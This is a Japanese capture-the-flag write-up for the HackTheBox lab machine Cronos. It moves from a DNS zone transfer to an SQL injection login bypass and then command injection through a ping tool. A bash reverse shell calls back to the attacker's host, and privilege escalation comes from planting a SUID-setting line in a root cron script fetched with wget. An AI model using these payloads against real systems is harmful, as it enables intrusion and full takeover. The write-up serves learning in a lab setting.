HackTheBox Cronos WriteUp

今回はHackTheBoxのMediumマシン「Cronos」のWriteUpです！
Linuxのマシンでこの名前なので、既にあれかな？という気がしますが、どのようなボックスなのでしょうか！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c5c36555-5fe5-1fd0-d17d-1f7c047d4a75.png)
グラフはMediumにしてはやや優しめでしょうか。
評価も高いのでそこまで複雑な脆弱性は出てこないような気がしますね。

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう～。

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476


## Cronos

### 侵入
それでは、いつものようにポートスキャンから始めましょう。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo nmap -n -Pn -v -T4 -p- -sS --min-rate=1000 -A 10.10.10.13 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
```
22番と53番、そして80番を確認しました。DNSが確認できたので、ゾーン転送を試してみます。
ゾーン転送が許可されていた場合、サブドメインが見つかる可能性があります。

:::note info
**なぜサブドメインを列挙するのか？**
サブドメインを列挙する理由は、ドメインにより制限された領域にアクセスするためです。Webでは、管理者用のサブドメイン、デバッグ用のサブドメインという感じで用途に応じたサブドメインを使用することが可能です。ハッキングの観点から見ると、サブドメインで制限された領域は侵入の手がかりになることが多いです。また、ネットワーク全体のホストを識別するためにもドメインは重要な情報です。
:::

ゾーン転送を試す前に、まずは、普通のドメインを```/etc/hosts```ファイルに記述しておきます。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat /etc/hosts 
10.10.10.13     cronos.htb
```
これで準備完了です。ゾーン転送は、```dig```コマンドの```axfr```というオプションで実行できます。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ dig axfr cronos.htb @10.10.10.13                    

; <<>> DiG 9.18.16-1-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 175 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Tue Aug 08 13:23:48 JST 2023
;; XFR size: 7 records (messages 1, bytes 203)
```
ゾーン転送が許可されていました！出力を見てみると、新たに```admin.cronos.htb```というドメインが存在していることが分かります。

:::note info
**ゾーン転送とは？**
簡単に説明すると、ゾーン転送とはマスターとなるDNSサーバが自身の持つ情報を他のDNSサーバに教える（転送する）ことです。通常は認証が必要であるため、Kali側からのゾーン転送には応じないはずなのですが、適切な設定がされていない場合、今回のようにどこへでも情報を転送してしまいます。
:::

では、先ほどと同じように```/etc/hosts```ファイルに記述しておきましょう。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat /etc/hosts
10.10.10.13     cronos.htb admin.cronos.htb
```
DNSは列挙できたので、次はWebにアクセスしてみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/4177f62b-89a2-8657-3728-72be0c5ae931.png)
Apache2のデフォルトページが表示されました。
デフォルトページには特に遷移がないので、```gobuster```を実行し、ディレクトリ探索を行います。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ gobuster dir -u http://10.10.10.13 -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/08 13:51:17 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 295]
/server-status        (Status: 403) [Size: 299]
Progress: 20476 / 20477 (100.00%)
===============================================================
2023/08/08 13:57:33 Finished
===============================================================
```
特に怪しいディレクトリは見つかりませんでした。
では気を取り直して、大本命の```admin.cronos.htb```にアクセスしてみようと思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bb3711b8-f99f-36bd-ff73-b757c6932e3f.png)
ログインページが表示されました！
サブドメインの```admin```という文字列からして、管理者用のWebページである気がします。とりあえず適当に```admin:admin```と入力し、ログインできるか試してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/6c37de1b-34dc-bf8a-9aea-00f84d0450dd.png)
流石に甘くないですね。ログインが弾かれてしまいました。

### SQLインジェクション

ログイン画面が表示されましたが、現時点では使えそうな認証情報は何も持っていません。このような状況で他に試すことができることといえば**SQLインジェクション**です。

:::note info
**SQLインジェクションとは？**
SQLインジェクションとは、ユーザの入力を適切に処理しないことが原因で発火する脆弱性です。発火させる方法は様々ありますが、主に攻撃者は```'```や```"```といった文字列を使用し、任意のSQLを実行します。SQLインジェクションにより、ログイン（認証）のバイパス（回避）や情報の取得が可能です。
:::
一番メジャーなテスト手法はシングルクォート（```'```）を使用することです。パスワードの最後に追加し、再度ログインを試してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/6dfddaa8-9806-fc2f-be72-e93cca22d48d.png)
追加しましたが、レスポンスに変更はありません。ではシングルクォートではなくダブルクォート（```"```）を追加してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/eec1ee17-c561-fd10-5b73-45667bd637cc.png)
こちらもレスポンスに変わった様子はありません。SQLインジェクションは発火しないのでしょうか。もう少しだけ試してみましょう。
他のアプローチとして```'or'1'='1```を追加するという手もあります。これはSQLのWhere句に対して**常に真を返すようにする**ものです。パスワードの後ろに追加し、再度試してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9cf95941-bd1f-9c82-05bd-a10be5cedf1b.png)
こちらも発火しないようです。ここまで試して発火しないとSQLインジェクションから一度離れるところではありますが、一応ユーザ名の方でも発火しないか試してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f4759c87-619d-229c-9315-a251abb9f142.png)
シングルクォートから順に試していると、```'or'1'='1```でいつもと違うレスポンスを確認しました！
よく見てみると、302番が返ってきていることが分かります。また、レスポンスのLocationには```welcome.php```と書かれています。このことからログインに成功し、```welcome.php```にリダイレクトしたのではないかと予想できます。
実際のWebページで同じように入力し、ログインしてみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b4d7a7a4-0cc1-09f6-67fa-6f3d93f28963.png)
パスワードはなんでも大丈夫です。入力出来たら```Submit```を押してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/98e7eb3f-d12b-c8ea-8bc9-806a6eefb0e9.png)
ログインできました！エラーが出ていなかったので、分かりにくかったですが、SQLインジェクションに脆弱だったようです。

:::note warn
**なぜSQLインジェクションが発火したのか？**
ログイン処理の多くで下記のようなSQL文が使われています。
※分かりやすくするために「and」ではなく「or」を使用しています。
```sql
select * from users where username = '?' or password = '?'
```
はてな（```?```）で示された箇所にユーザの入力が挿入され、SQL文として実行されます。本来は、挿入する段階でステークホルダーなどを使用しユーザの入力を適切に処理するのですが、適切に処理されていない場合、ユーザが好きにSQL文を書き換えることが可能です。
では、実際に今回使用した```'or'1'='1```で、どのようにSQL文が変更されてしまうのか見てみましょう。
```sql
select * from users where username = 'admin'or'1'='1' or password='admin'
```
```1=1```は必ず真になり、それぞれの条件式は```or```で繋がっています。つまり```1=1```がある限り、他の入力がどのような値であってもログインは成功してしまうのです！
SQLインジェクションのポイントはシングルクォート（```'```）です。今回の入力を見ると分かりやすいですが```'or'1'='1```のようにシングルクォートが不自然に使用されています。しかしこれにはきちんと意図があります。SQL文で確認しましょう。
```sql
where username = '<username>'
```
上記はユーザ名が正しいかどうかを判断している式ですが、ここで注目してほしい部分は```<username>```を囲んでいるシングルクォート（```'```）です。2つのシングルクォートはユーザの入力の始まりと終わりを示すものです。例えば普通に```admin```というユーザ名が入力されると下記のようなSQLになります。
```sql
where username = 'admin'
```
これにより、ユーザ名が```admin```であるかどうかという判断が行われます。adminというユーザが存在しているなら「真」、存在していなければ「偽」となります。では、これを踏まえてシングルクォート（```'```）を一つ入力したときの処理を見てみましょう。
```sql
where username = 'admin''
```
末尾のシングルクォート（```'```）が二つになったことが分かると思います。このようなSQLでは適切に処理が行われず、エラーとなります。SQLインジェクションに対して脆弱であるかどうかを確認する際、エラーが起きるかどうかを判断基準にするのはこのためです。
では、この状態でさらにもう一つシングルクォート（```'```）を追加してみましょう。
```sql
where username = 'admin'<free>''
```
即席で```<free>```という値を入れていますが、見てほしいのはその色です。Qiitaでは、シングルクォートに囲まれた部分は青色で表示されます。しかし```<free>```は青ではなく赤や```where```と同じ黄色になっていると思います。何が言いたいかというと、この部分は```where```などと同じように値ではなくSQL文として判断されるということです。そのため、先ほどの入力のように```'or'1'='1```を入れると、新たな条件式が作成され、常に真を返すようになります。
:::

### コマンドインジェクション

それでは、さらに攻略を続けていきましょう。
再度Webを確認してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/98e7eb3f-d12b-c8ea-8bc9-806a6eefb0e9.png)
見た感じ、```traceroute```コマンドを実行できそうです。```traceroute```の部分はプルダウンになっているので、他にもコマンドを選択できるかもしれません。見てみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7bb81950-e8ad-2ec5-80fc-db540acafea6.png)
他にも```ping```が実行できるようです。とりあえず、```ping```をIPアドレスは変えずに実行してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/74772244-d521-de89-c198-34329865499c.png)
出力が```100% packet loss```となっているため、```ping```が届かなかったことが分かりますが、実行自体は成功していそうです。試しにIPアドレスをKaliのIPアドレスに変更してみます。Kali側で```ping```を確認したいので、```tcpdump```というコマンドを実行し、待ち受けておきましょう。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
```
待ち受けが完了したら、```ping```を実行します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/522e6842-4ce8-d9e9-101c-f89a9356e0d8.png)
今度は```1 received```と出力されているので、```ping```が届いていそうです。先ほど待ち受けた```tcpdump```も確認してみましょう。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:30:16.222535 IP admin.cronos.htb > 10.10.14.3: ICMP echo request, id 2948, seq 1, length 64
15:30:16.222931 IP 10.10.14.3 > admin.cronos.htb: ICMP echo reply, id 2948, seq 1, length 64
```
こちらでも```ping```の疎通を確認できました！

見たところ、```tcpdump```と```ping```しか選択できないので何もできないように見えますが、他のコマンドを何とか指定させることができれば、シェルをゲットできるかもしれません。実行時にどのようなリクエストを送っているか見てみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0b6b8e43-e3d7-e736-70b2-b24f4e8c3c12.png)
コマンドが```command```というパラメータで指定されていることが分かります！```command```パラメータをすることで任意のコマンドが実行できるかもしれません！試してみましょう。まずは```id```コマンドを実行してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bcc2e996-7e43-aa47-28b5-10b8aee63eec.png)
エラーは表示されていませんが、```id```コマンドの出力は見当たりません。
では、```ping```か```traceroute```は必ず実行する必要があるのでしょうか。。と一瞬思うのですが、よく```ping```を実行したときのことを考えてみます。```command```で```ping -c 1```を指定し、```host```で```10.10.14.3```を指定しました。そして、実行が成功したということは、```command```で指定した値と```host```で指定した値を結合し、一つのコマンド（```ping -c 1 10.10.14.3```）としていると予想できます。

予想が正しい場合、今回のリクエストは```id 10.10.14.3```というコマンドとして処理されたということが分かります。```id```コマンドを実行する場合は、```host```の値はいらないので、何も指定せずにリクエストを再送してみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b35a2c19-6833-6675-da5e-e1d097784f13.png)
コマンドが実行されました！これでシェルが取得できそうです！

## www-dataとしてのシェル

それでは、侵入できるか試してみましょう。
シェルを取得する際にどのようなコマンドを実行すればいいか困ったときは「**Reverse Shell Generator**」を確認してみてください！

https://www.revshells.com/

実際に使用するコマンドは以下の通りです。
```bash
command=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.3%2F2121+0%3E%261%27
```
実行する前に、Kali側で待ち受けることを忘れないでください。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ nc -lvnp 2121
listening on [any] 2121 ...
```
待ち受けまで準備が出来たら、実行しましょう！
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.13] 56388
bash: cannot set terminal process group (1319): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$ whoami
whoami
www-data
```
侵入成功です！

### 権限昇格

www-dataとしてシェルを取得できましたが、恐らくまだ権限昇格は行えないと思います。まずは```home```ディレクトリ配下を確認してみましょう。
```bash
www-data@cronos:/home$ ls -l
total 4
drwxr-xr-x 4 noulis noulis 4096 May 10  2022 noulis
```
```noulis```というユーザが存在することが分かりました。このユーザの認証情報を探してみましょう。
どこから列挙を開始するかですが、私はとりあえず各ユーザのホームディレクトリを確認していきます。www-dataユーザの場合は、```/var/www/```配下がホーム的な存在なのでまずはそこに目を向けます。
```bash
www-data@cronos:/var/www$ ls -l
total 12
drwxr-xr-x  2 www-data www-data 4096 May 10  2022 admin
drwxr-xr-x  2 www-data www-data 4096 May 10  2022 html
drwxr-xr-x 13 www-data www-data 4096 May 10  2022 laravel
```
3つのディレクトリを発見しました。名前的に一番気になるのは```admin```です。さらに深く見ていきましょう。
```bash
www-data@cronos:/var/www/admin$ ls -l
total 20
-rw-r--r-- 1 www-data www-data  237 Apr  9  2017 config.php
-rw-r--r-- 1 www-data www-data 2531 Jan  1  2021 index.php
-rw-r--r-- 1 www-data www-data  102 Apr  9  2017 logout.php
-rw-r--r-- 1 www-data www-data  383 Apr  9  2017 session.php
-rw-r--r-- 1 www-data www-data  782 Apr  9  2017 welcome.php
```
5つのPHPファイルがあります。5つの中で一番怪しいファイルは```config.php```です。名前からしてDBなどへの接続情報が記載されていることが多いです。

### MySQL

ファイルの内容を見てみましょう。
```bash
www-data@cronos:/var/www/admin$ cat config.php
<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
```
やはりDBへの認証情報が記載されていました！DB内に```noulis```ユーザの認証情報があるか確認してみましょう！
まずは接続します。
```bash
www-data@cronos:/var/www/admin$ mysql -u admin -p
Enter password: kEjdbRigfBHUREiNSDs

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
```
認証情報を使用し、接続することが出来ました！
次に、データベースを一覧表示します。
```bash
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| admin              |
+--------------------+
2 rows in set (0.00 sec)
```
今回は2つのデータベースしかないようです。
データベースは```admin```を選択します。
```bash
mysql> use admin
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
```
データベースが選択できたので、テーブルを一覧表示します。
```bash
mysql> show tables;
+-----------------+
| Tables_in_admin |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)
```
テーブルは```users```しかありません。
では、SQLを実行し、テーブル内を検索してみましょう。
```bash
mysql> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)
```
noulisユーザではなく、adminユーザのパスワードが出力されました！
このパスワードは、MD5でハッシュ化されているので、解読できるか試してみましょう。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 2 password hashes with no different salts (LM [DES 128/128 AVX])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 DONE (2023-08-08 16:35) 0g/s 3309Kp/s 3309Kc/s 6619KC/s !!1QWER..*7¡VA
Session completed. 
```
解読できません！正直、絶対いけると思っていたのですが他の道があるのでしょうか。
再度列挙をやり直してみましょう。

### crontab

再度```/var/www```ディレクトリ配下を確認してみましたが、特に情報はありませんでした。```netstat```でも有用な情報は得られなかったので、```crontab```を確認してみました。
```bash
www-data@cronos:/var/www$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
```
なんと、```php artisan```がrootで実行されています！恐らく```pspy64```でも確認することができると思いますが、こちらで気付くことができてよかったです。
実行されている```artisan```ファイルは```/var/www/laravel```配下にあります。書き込み権限があるか見てみましょう。
```bash
www-data@cronos:/var/www/laravel$ ls -l artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 artisan
```
書き込み権限があります！このため、```system```関数でコマンドを実行させ権限昇格できそうです！横移動するのかと思いましたが、一気に権限昇格できるようです。
まずは、```artisan```ファイルに```system```関数を記述します。色々とやり方はありますが、私はローカルで作成したファイルをターゲットにダウンロードさせることで```system```関数を実行しようと思います。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ cat artisan  
#!/usr/bin/env php
<?php

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/

require __DIR__.'/bootstrap/autoload.php';

$app = require_once __DIR__.'/bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/

$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);

$status = $kernel->handle(
    $input = new Symfony\Component\Console\Input\ArgvInput,
    new Symfony\Component\Console\Output\ConsoleOutput
);

/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running. We will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/

$kernel->terminate($input, $status);
system('chmod u+s /bin/bash'); //add

exit($status);
```
下から3行目の```system```関数が追加した部分です。今回はbashにSUIDを付与し、権限昇格を試みます。
ファイルが用意できたので、サーバを立ち上げます。
```bash
🐧+[~/Cronos]
Ex9loit👾<10.10.14.3>$ python3 -m http.server 80         
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```
サーバが立ちあげることができたので、ダウンロードさせます。ダウンロードを実行する前にファイルを削除することを忘れないようにしましょう。
```bash
www-data@cronos:/var/www/laravel$ rm artisan 
```
削除が完了したら、```wget```で```system```関数を追加した```artisan```ファイルをダウンロードします。
```bash
www-data@cronos:/var/www/laravel$ wget 10.10.14.3/artisan
--2023-08-08 11:27:17--  http://10.10.14.3/artisan
Connecting to 10.10.14.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1677 (1.6K) [application/octet-stream]
Saving to: 'artisan'

artisan             100%[===================>]   1.64K  --.-KB/s    in 0s      

2023-08-08 11:27:18 (176 MB/s) - 'artisan' saved [1677/1677]
```
これで準備はできました。あとは少し待ってbashにSUIDが付与されるのを待ちましょう。

## rootとしてのシェル

それでは、bashの権限を確認してみましょう。
```bash
www-data@cronos:/var/www/laravel$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
```
SUIDが付与されています！それではrootに移りましょう！
```bash
www-data@cronos:/var/www/laravel$ bash -p
bash-4.3# whoami
root
```
権限昇格成功です！
ユーザのフラグを取得しない状態でここまできたので、```noulis```ディレクトリの中にあるフラグを忘れずに取得するようにしてください。
```bash
bash-4.3# ls -l /home/noulis
total 4
-r--r--r-- 1 noulis noulis 33 Aug  8 07:15 user.txt
```
もちろんルートフラグも忘れずに！
```bash
bash-4.3# ls -l /root
total 4
-r-------- 1 root root 33 Aug  8 07:15 root.txt
```
完全攻略達成！お疲れ様でした！

### 攻略を終えて

攻略を終えて思うことは「すべての人にこのマシンを挑戦してみてほしい」ということです。Cronosは基礎となる攻撃が多く、脆弱性の発火が分かりやすいです。権限昇格へのパスもイメージしやすいように作成されており、セキュリティの教材としてかなり有用です。難易度も優しく、楽しいマシンとなっているので、HackTheBoxユーザ以外の方にも挑戦していただきたいです。
今回はサブドメインを列挙し、SQLインジェクションによってログインすることでコマンド実行が可能になりました。やはりサブドメインというのは攻撃者にとって重要な情報でもあるので、取り扱いには十分に注意し、外部公開しなくていいドメインは公開しないなど適切な制限が必要です。SQLインジェクションについては言うまでもありませんが、適切に入力を処理し、任意のSQL文実行を防ぐようにしましょう。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました～！